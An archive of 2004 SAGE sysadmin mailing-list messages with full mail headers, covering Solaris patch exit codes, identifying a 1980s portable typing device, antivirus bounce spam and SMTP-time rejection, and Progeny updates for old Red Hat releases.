tinkywinky.rtfs.de (8.12.11/8.12.11/Debian-1) with ESMTP id i0UB2B2D030077 for ; Fri, 30 Jan 2004 12:02:11 +0100 Received: (from bb@localhost) by tinkywinky.rtfs.de (8.12.11/8.12.11/Debian-1) id i0UB2Bq7030076 for sage-members@usenix.org; Fri, 30 Jan 2004 12:02:11 +0100 Date: Fri, 30 Jan 2004 12:02:11 +0100 From: Gabriel Krabbe To: SAGE Members Subject: Re: [SAGE] More Sun Patch Idiocy Message-ID: <20040130110211.GH23158@tinkywinky.rtfs.de> References: <20040130032409.GA9776@yorktown.isdn.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organization: rtfs IT Services Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 29, 2004 at 09:51:47PM -0600, Doug Hughes wrote: > On Thu, 29 Jan 2004, Mark D. Roth wrote: > >> On Thu Jan 29 17:50 2004 -0600, Doug Hughes wrote: >>> I just assume that some patches are going to not install [...] >> >> The problem is that there are many reasons that a patch can fail, and >> we need some automated way to distinguish between a benign failure and >> a serious failure. [...] >> The only approach we've been able to think of to deal with this is to >> check for the different exit codes of patchadd, and have the tool know >> which values are benign and which are serious. However, there are two >> problems with this. >> >> First, although the different possible exit codes are listed in >> comments at the top of the patchadd script itself, they are not >> documented in the man page. This makes me nervous about the >> possibility that Sun could decide to change them without any real >> notice. > > possibly, but not within an OS major release I'd guess. They're > thankfully fairly rigid about changing things like exit codes. At some point between Solaris 8 01/00 and 02/02 return codes 34 through 38 were added; nothing changed between then and Solaris 9 08/03. Personally, I'm prepared to trust Sun on this and assume that the codes I already know won't change under me. >> And second, checking the exit codes wouldn't really solve the problem >> of the Solaris 8 patch I mentioned earlier (109077-13), since that >> patch uses the prepatch script to check for the prerequisite package. That makes it a buggy patch. Submit a service request. Bugging Sun via their support service is the only way to get their attention, according to a number of people within Sun that I know (Sales and Support "Managers"). >> All prepatch script failures cause patchadd to exit with the same exit >> code, so how do you tell the difference between a serious failure in >> the prepatch script and a prepatch script that fails because a >> prerequisite package is not installed? > > That's an insidious issue. Thankfully it doesn't crop up too often. > (I can't remember the last time I had a serious issue with prepatch, > thankfully). ... which means that in those rare cases manual verification is OK. Gabe From sage-members-owner@usenix.org Fri Jan 30 03:28:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UBSHcH009849 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 03:28:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UBSHOG009847 for sage-members-outgoing; Fri, 30 Jan 2004 03:28:17 -0800 (PST) Received: from smtp2.infineon.com (smtp2.infineon.com [194.175.117.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UBSFcG009842 for ; Fri, 30 Jan 2004 03:28:15 -0800 (PST) Received: from mucse012.eu.infineon.com (mucse012.ifx-mail1.com [172.29.27.229]) by smtp2.infineon.com (8.12.10/8.12.10) with ESMTP id i0UBQgHc026959 for ; Fri, 30 Jan 2004 12:26:42 +0100 (MET) Received: by mucse012.eu.infineon.com with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Jan 2004 12:28:09 +0100 Message-ID: <93659FED3BE2D411A92400508BAD48BB03278415@mchp542a.muc.infineon.com> From: Thomas.Leyer@infineon.com To: sage-members@usenix.org Subject: [SAGE] minimal electronical writing device??? Date: Fri, 30 Jan 2004 12:28:03 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-sage-members@usenix.org Precedence: bulk Hi all, I got a little "offline" topic that might be of interest for guys that have to go on vacation... I'm trying hard to remember (but without any luck) what the name Battery-driven Keyboard with a two or four lines display was that journalists in the 80s used to carry with them... Does anybody know what I'm talking about (BTW... try to find something in google with only this description given...) Cheers Thom From sage-members-owner@usenix.org Fri Jan 30 04:04:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UC4BcH011725 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 04:04:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UC4B46011724 for sage-members-outgoing; Fri, 30 Jan 2004 04:04:11 -0800 (PST) Received: from mail.mlop.de (mlop.de [217.160.220.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UC48cH011719 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 04:04:10 -0800 (PST) Received: from p5081D8C1.dip.t-dialin.net (p5081D8C1.dip.t-dialin.net [80.129.216.193]) by mail.mlop.de (8.12.6/8.12.6) with ESMTP id i0UC47F1023530 for ; Fri, 30 Jan 2004 13:04:07 +0100 Date: Fri, 30 Jan 2004 13:04:06 +0100 (CET) From: Andreas Gerler X-X-Sender: baron@marvin.home.bundesbrandschatzamt.de To: sage-members@usenix.org Subject: Re: [SAGE] minimal electronical writing device??? In-Reply-To: <93659FED3BE2D411A92400508BAD48BB03278415@mchp542a.muc.infineon.com> Message-ID: References: <93659FED3BE2D411A92400508BAD48BB03278415@mchp542a.muc.infineon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 30 Jan 2004 Thomas.Leyer@infineon.com wrote: > Date: Fri, 30 Jan 2004 12:28:03 +0100 > From: Thomas.Leyer@infineon.com > To: sage-members@usenix.org > Subject: [SAGE] minimal electronical writing device??? > > > Hi all, > > I got a little "offline" topic that might be of interest for guys that > have to go on vacation... > > I'm trying hard to remember (but without any luck) what the name > > Battery-driven Keyboard with a two or four lines display > > was that journalists in the 80s used to carry with them... > > > Does anybody know what I'm talking about (BTW... try to find > something in google with only this description given...) > > Cheers > > Thom > > > > Hi Thom, its possible you mean the Epson HX 20. At eBay-Germany is one available: http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&item=2783069270&category=8101 so long... Baron baron@bundesbrandschatzamt.de baron@fellows-mc.de ICQ # 168310436 AIM: baron42fmcb From sage-members-owner@usenix.org Fri Jan 30 04:22:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UCMWcH012847 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 04:22:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UCMWti012846 for sage-members-outgoing; Fri, 30 Jan 2004 04:22:32 -0800 (PST) Received: from smtp1.infineon.com (smtp1.infineon.com [194.175.117.76]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UCMTcG012821 for ; Fri, 30 Jan 2004 04:22:30 -0800 (PST) Received: from mucse012.eu.infineon.com (mucse012.ifx-mail1.com [172.29.27.229]) by smtp1.infineon.com (8.12.10/8.12.10) with ESMTP id i0UCI3Db005528; Fri, 30 Jan 2004 13:18:03 +0100 (MET) Received: by mucse012.eu.infineon.com with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Jan 2004 13:22:22 +0100 Message-ID: <93659FED3BE2D411A92400508BAD48BB03278419@mchp542a.muc.infineon.com> From: Thomas.Leyer@infineon.com To: achowe@snert.com, sage-members@usenix.org Subject: AW: [SAGE] minimal electronical writing device??? Date: Fri, 30 Jan 2004 13:22:20 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0UCMVcG012837 Sender: owner-sage-members@usenix.org Precedence: bulk yes that's it.... ;-) Thanks a lot (and to the insane brain that was putting a webserver on this device: massive respect! ;-) Thomas -----Ursprüngliche Nachricht----- Von: Anthony Howe [mailto:achowe@snert.com] Gesendet: Freitag, 30. Januar 2004 12:43 An: Leyer Thomas (IT IFR EU1 OS) Betreff: Re: [SAGE] minimal electronical writing device??? Thomas.Leyer@infineon.com wrote: > Hi all, > > I got a little "offline" topic that might be of interest for guys that > have to go on vacation... > > I'm trying hard to remember (but without any luck) what the name > > Battery-driven Keyboard with a two or four lines display > > was that journalists in the 80s used to carry with them... > > > Does anybody know what I'm talking about (BTW... try to find > something in google with only this description given...) > > Cheers > > Thom Tandy 100 ? -- Anthony C Howe +33 6 11 89 73 78 http://www.snert.com/ ICQ: 7116561 AIM: Sir Wumpus "...simplicity is a goal of good design, it is never the starting point." - Dan Geer From sage-members-owner@usenix.org Fri Jan 30 08:45:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UGjFcH024977 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 08:45:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UGjFYZ024975 for sage-members-outgoing; Fri, 30 Jan 2004 08:45:15 -0800 (PST) Received: from bohex01.sitaaps.org (mail.sitaaps.org [205.232.221.250]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UGjDcG024965 for ; Fri, 30 Jan 2004 08:45:14 -0800 (PST) Received: from XPTHREE ([10.10.2.35]) by bohex01.sitaaps.org with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id DW6RPDRD; Fri, 30 Jan 2004 11:43:44 -0500 Message-ID: <001e01c3e74f$bf618da0$23020a0a@xpthree> From: "Eric Torbenson" To: References: <93659FED3BE2D411A92400508BAD48BB03278415@mchp542a.muc.infineon.com> Subject: Re: [SAGE] minimal electronical writing device??? Date: Fri, 30 Jan 2004 11:40:17 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-sage-members@usenix.org Precedence: bulk ----- Original Message ----- From: To: Sent: Friday, January 30, 2004 06:28 Subject: [SAGE] minimal electronical writing device??? > > Hi all, > > I got a little "offline" topic that might be of interest for guys that > have to go on vacation... > > I'm trying hard to remember (but without any luck) what the name > > Battery-driven Keyboard with a two or four lines display > > was that journalists in the 80s used to carry with them... > I think you're talking about the Tandy Model 100, the original PDA. From sage-members-owner@usenix.org Fri Jan 30 10:47:36 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UIlacH001647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 10:47:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UIlZgW001643 for sage-members-outgoing; Fri, 30 Jan 2004 10:47:35 -0800 (PST) Received: from solabel8.ga.erg.sri.com (solabel8.ga.erg.sri.com [192.26.245.44]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UIlYcG001610 for ; Fri, 30 Jan 2004 10:47:34 -0800 (PST) Received: from ags.ga.erg.sri.com (solabel10.ga.erg.sri.com [192.26.245.46]) by solabel8.ga.erg.sri.com (8.12.8/8.12.8) with ESMTP id i0UIlFt7020871 for ; Fri, 30 Jan 2004 13:47:15 -0500 (EST) Message-Id: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> To: sage-members@usenix.org Subject: [SAGE] The sad and spammy state of virus filters Date: Fri, 30 Jan 2004 13:42:50 -0500 From: Ted Nolan SRI Augusta GA Sender: owner-sage-members@usenix.org Precedence: bulk Interesting (and funny) article at http://www.attrition.org/security/rant/av-spammers.html I know I've gotten hundreds of bogus "you have sent" warnings this week.. Who should standardize virus names? An industry consortium? CERT? DHS? SAGE? Ted From sage-members-owner@usenix.org Fri Jan 30 11:09:39 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UJ9ccH003145 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 11:09:39 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UJ9cTA003144 for sage-members-outgoing; Fri, 30 Jan 2004 11:09:38 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UJ9acG003121 for ; Fri, 30 Jan 2004 11:09:37 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0UJ9ViL007258 for ; Fri, 30 Jan 2004 11:09:31 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 7B3492288B; Fri, 30 Jan 2004 11:09:31 -0800 (PST) Date: Fri, 30 Jan 2004 11:09:31 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130190931.GH79295@bitshift.org> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> User-Agent: Mutt/1.4.1i X-Uptime: 11:03AM up 227 days, 14:13, 11 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 30, 2004 at 01:42:50PM -0500, Ted Nolan SRI Augusta GA wrote: > Interesting (and funny) article at > > http://www.attrition.org/security/rant/av-spammers.html > > I know I've gotten hundreds of bogus "you have sent" warnings this week.. > > Who should standardize virus names? An industry consortium? CERT? DHS? SAGE? > > It may just be me, but it would seem that best practice is to filter incoming email for ( spam | viruses | attachments | prohibited foo ) as it's received, silently. Perhaps what's also needed to assuage those who feel a burning urge to have some outbound notification is a similar, outgoing email filter for ( spam | viruses | attachments | prohibited foo ), and subsequent notification sent to the user whose system just tried to send it (if possible). The assumption here is that mail being relayed through your mail server can only come from a small, finite set of hosts of which you're aware and over which you have some modicum of control. Even in circumstances where that isn't the case, outbound filtering would seem to make more sense than inbound filtering, or filtering after receipt (the two current strategies). I tried to suggest this to Microsoft's head of antispam strategy last year when they held a discussion about their antispam approach at their SV campus, but somehow, the idea that the large free mail services should police their outbound mail didn't sit well with them. I guess it's not profitable to remove spam before it's sent out to the world, whereas removing it after you've received it has an attractive profit margin. I suggested that the cost-shift is appropriate, as it places the burden on the entities responsible for the spam being sent, rather than the spam being received, but I suppose they've already looked at the numbers and decided they don't want to shoulder that particular cost. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 11:53:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UJrHcH005364 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 11:53:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UJrGWh005363 for sage-members-outgoing; Fri, 30 Jan 2004 11:53:17 -0800 (PST) Received: from gate.mental.com (gate.mental.com [192.31.14.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UJrEcG005355 for ; Fri, 30 Jan 2004 11:53:15 -0800 (PST) Received: (from uucp@localhost) by gate.mental.com (8.12.10/8.12.10/Lobo-031007) id i0UJrDbU023530 for ; Fri, 30 Jan 2004 20:53:13 +0100 (CET) Received: from twen(172.16.0.5) by gate via smap (V2.1/Lobo-030905) id xma023528; Fri, 30 Jan 04 20:53:06 +0100 Received: from mental.com (lobo@localhost [127.0.0.1]) by mental.com (8.12.10/8.12.10/Lobo-040120) with ESMTP id i0UJr5sL011090 for ; Fri, 30 Jan 2004 20:53:05 +0100 (MET) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: "Mark C. Langston"'s message of Fri, 30 Jan 2004 11:09:31 PST <20040130190931.GH79295@bitshift.org> Organization: mental images GmbH, Berlin, Germany Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 Jan 2004 20:53:05 +0100 Message-ID: <11089.1075492385@mental.com> From: Alexander Lobodzinski Sender: owner-sage-members@usenix.org Precedence: bulk () It may just be me, but it would seem that best practice is to filter () incoming email for ( spam | viruses | attachments | prohibited foo ) () as it's received, silently. I hope there is some consent to rejecting the ( s | v | a | p ) in the SMTP dialog if it is detected by a milter? Not to be confused with accepting the junk via SMTP and sending it back later. Ciao, Lobo From sage-members-owner@usenix.org Fri Jan 30 12:02:44 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UK2icH006249 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 12:02:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UK2iMZ006248 for sage-members-outgoing; Fri, 30 Jan 2004 12:02:44 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UK2gcG006239 for ; Fri, 30 Jan 2004 12:02:42 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0UK2ciL023923 for ; Fri, 30 Jan 2004 12:02:38 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 9E62D22888; Fri, 30 Jan 2004 12:02:38 -0800 (PST) Date: Fri, 30 Jan 2004 12:02:38 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130200238.GL79295@bitshift.org> References: <20040130190931.GH79295@bitshift.org> <11089.1075492385@mental.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <11089.1075492385@mental.com> User-Agent: Mutt/1.4.1i X-Uptime: 12:01PM up 227 days, 15:11, 11 users, load averages: 0.07, 0.11, 0.05 Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 30, 2004 at 08:53:05PM +0100, Alexander Lobodzinski wrote: > () It may just be me, but it would seem that best practice is to filter > () incoming email for ( spam | viruses | attachments | prohibited foo ) > () as it's received, silently. > > I hope there is some consent to rejecting the ( s | v | a | p ) > in the SMTP dialog if it is detected by a milter? Not to be > confused with accepting the junk via SMTP and sending it back > later. > Nothing's sent back, hence "silently". -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 12:25:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UKPGcH007615 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 12:25:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UKPF2U007614 for sage-members-outgoing; Fri, 30 Jan 2004 12:25:16 -0800 (PST) Received: from gate.mental.com (gate.mental.com [192.31.14.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UKPDcG007609 for ; Fri, 30 Jan 2004 12:25:14 -0800 (PST) Received: (from uucp@localhost) by gate.mental.com (8.12.10/8.12.10/Lobo-031007) id i0UKPD0P023715 for ; Fri, 30 Jan 2004 21:25:13 +0100 (CET) Received: from twen(172.16.0.5) by gate via smap (V2.1/Lobo-030905) id xma023713; Fri, 30 Jan 04 21:25:06 +0100 Received: from mental.com (lobo@localhost [127.0.0.1]) by mental.com (8.12.10/8.12.10/Lobo-040120) with ESMTP id i0UKP6sL012628 for ; Fri, 30 Jan 2004 21:25:06 +0100 (MET) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: "Mark C. Langston"'s message of Fri, 30 Jan 2004 12:02:38 PST <20040130200238.GL79295@bitshift.org> Organization: mental images GmbH, Berlin, Germany Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 Jan 2004 21:25:06 +0100 Message-ID: <12627.1075494306@mental.com> From: Alexander Lobodzinski Sender: owner-sage-members@usenix.org Precedence: bulk () On Fri, Jan 30, 2004 at 08:53:05PM +0100, Alexander Lobodzinski wrote: () > () It may just be me, but it would seem that best practice is to filter () > () incoming email for ( spam | viruses | attachments | prohibited foo ) () > () as it's received, silently. () > () > I hope there is some consent to rejecting the ( s | v | a | p ) () > in the SMTP dialog if it is detected by a milter? Not to be () > confused with accepting the junk via SMTP and sending it back () > later. () () Nothing's sent back, hence "silently". What I mean is rejecting with "552|452 this is (s|v|a|p)" instead of saying "250 Message accepted" and then discarding it. *Not* sending anything back. Yes, this may or may not lead to somebody upstream sending something back, but at least it will not be the elaborate av spam mentioned in the nice attrition.org article. The hope is that putting back the load upstream may make somebody upstream do their homework, after all. The effect being the better the fewer instances are between the original junk mail sending machine and me. Ciao, Lobo From sage-members-owner@usenix.org Fri Jan 30 12:26:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UKQocH007936 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 12:26:50 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UKQoLn007935 for sage-members-outgoing; Fri, 30 Jan 2004 12:26:50 -0800 (PST) Received: from mail.sial.org (sense-sea-MegaSub-1-583.oz.net [216.39.146.75]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UKQlcH007924 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 30 Jan 2004 12:26:48 -0800 (PST) Received: from darkness.sial.org (localhost.sial.org [IPv6:::1]) by mail.sial.org (8.12.11/8.12.11) with ESMTP id i0UKQhHx014239 for ; Fri, 30 Jan 2004 12:26:43 -0800 (PST) Received: (from jmates@localhost) by darkness.sial.org (8.12.11/8.12.11/Submit) id i0UKQhs1014238 for sage-members@usenix.org; Fri, 30 Jan 2004 12:26:43 -0800 (PST) Date: Fri, 30 Jan 2004 12:26:43 -0800 From: Jeremy Mates To: sage-members@usenix.org Subject: [SAGE] Re: The sad and spammy state of virus filters Message-ID: <20040130202643.GG80635@darkness.sial.org> Mail-Followup-To: sage-members@usenix.org References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20040130190931.GH79295@bitshift.org> User-Agent: Mutt/1.4.1i X-Spam-Status: No, hits=0 required=5 tests= X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk * Mark C. Langston > It may just be me, but it would seem that best practice is to filter > incoming email for ( spam | viruses | attachments | prohibited foo ) > as it's received, silently. In other words, to 'discard' the unacceptable message (SMTP 2.x.x and then drop on the floor) instead of issuing some sort of failure (SMTP 4.x.x temporary failure or 5.x.x permanent)? And also assuming these checks are taking place at SMTP time, rather than SMTP 2.x.x and then subsequent checks? > Perhaps what's also needed to assuage those who feel a burning urge to > have some outbound notification is a similar, outgoing email filter > for ( spam | viruses | attachments | prohibited foo ), and subsequent > notification sent to the user whose system just tried to send it (if > possible). I prefer (optional) periodic reports showing e-mail activity to users when messages are being discarded: * 10,000 malware attempts from client yeild 10,000 notifications. Periodic reports allow summaries of such activity. * The report can show messages from or to the client that were discarded, along with a reason. From sage-members-owner@usenix.org Fri Jan 30 13:06:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UL6ocH010322 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 13:06:50 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UL6neM010321 for sage-members-outgoing; Fri, 30 Jan 2004 13:06:50 -0800 (PST) Received: from heidi.servers.uwrf.edu (heidi.servers.uwrf.edu [139.225.32.18]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UL6kcH010308 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 13:06:48 -0800 (PST) Received: from uwrf.edu (elk-ded-pppoe-shanson.dsl.airstreamcomm.net [64.33.202.174]) by heidi.servers.uwrf.edu (8.12.10/8.12.10) with ESMTP id i0UL6hTO022156; Fri, 30 Jan 2004 15:06:44 -0600 Message-ID: <401AC763.4060007@uwrf.edu> Date: Fri, 30 Jan 2004 15:06:43 -0600 From: Steve Hanson User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040116 X-Accept-Language: en-us, en MIME-Version: 1.0 To: bergman@merctech.com CC: SAGE Members Subject: Re: [SAGE] using Progeny to maintain EOL Redhat systems? References: <23872.1075421110@piquin> In-Reply-To: <23872.1075421110@piquin> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.27 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk bergman@merctech.com wrote: > I'm considering their service, and I'd like to hear from anyone who's using > Progeny's "Transition Service" to maintain RH Linux 7.3, 8, and 9. I'm > particularly interested in hearing if you have found their updates to be > timely, accurate, well documented, and without side-effects. > We've startd to use it for 7.2 No complaints so far. The updates have been very timely and have so far installed and run fine. Also I wrote a little article at http://www.fedorazine.com/content/view/78/1/ You might also consider the Fedora Legacy updates at http://fedoralegacy.org Although they've been a little slower to get their act together. > See: > http://transition.progeny.com/ > for a description of the service. > > Thanks, > > Mark > > ---- > Mark Bergman > > From sage-members-owner@usenix.org Fri Jan 30 13:44:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0ULiGcH012453 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 13:44:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0ULiGXA012451 for sage-members-outgoing; Fri, 30 Jan 2004 13:44:16 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0ULiEcH012441 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 13:44:14 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0ULhhxo048037; Fri, 30 Jan 2004 16:44:10 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <11089.1075492385@mental.com> References: <11089.1075492385@mental.com> Date: Fri, 30 Jan 2004 22:41:08 +0100 To: Alexander Lobodzinski From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 8:53 PM +0100 2004/01/30, Alexander Lobodzinski wrote: > I hope there is some consent to rejecting the ( s | v | a | p ) > in the SMTP dialog if it is detected by a milter? Sure, not a problem. In fact, that is the best current practice. You just have to make sure that you beef up the mail server and the milter scanning servers so that they have enough horsepower to do that in a reasonable timeframe, even when placed under very high load. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 30 14:11:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMBOcH014193 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 14:11:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UMBO6B014192 for sage-members-outgoing; Fri, 30 Jan 2004 14:11:24 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with 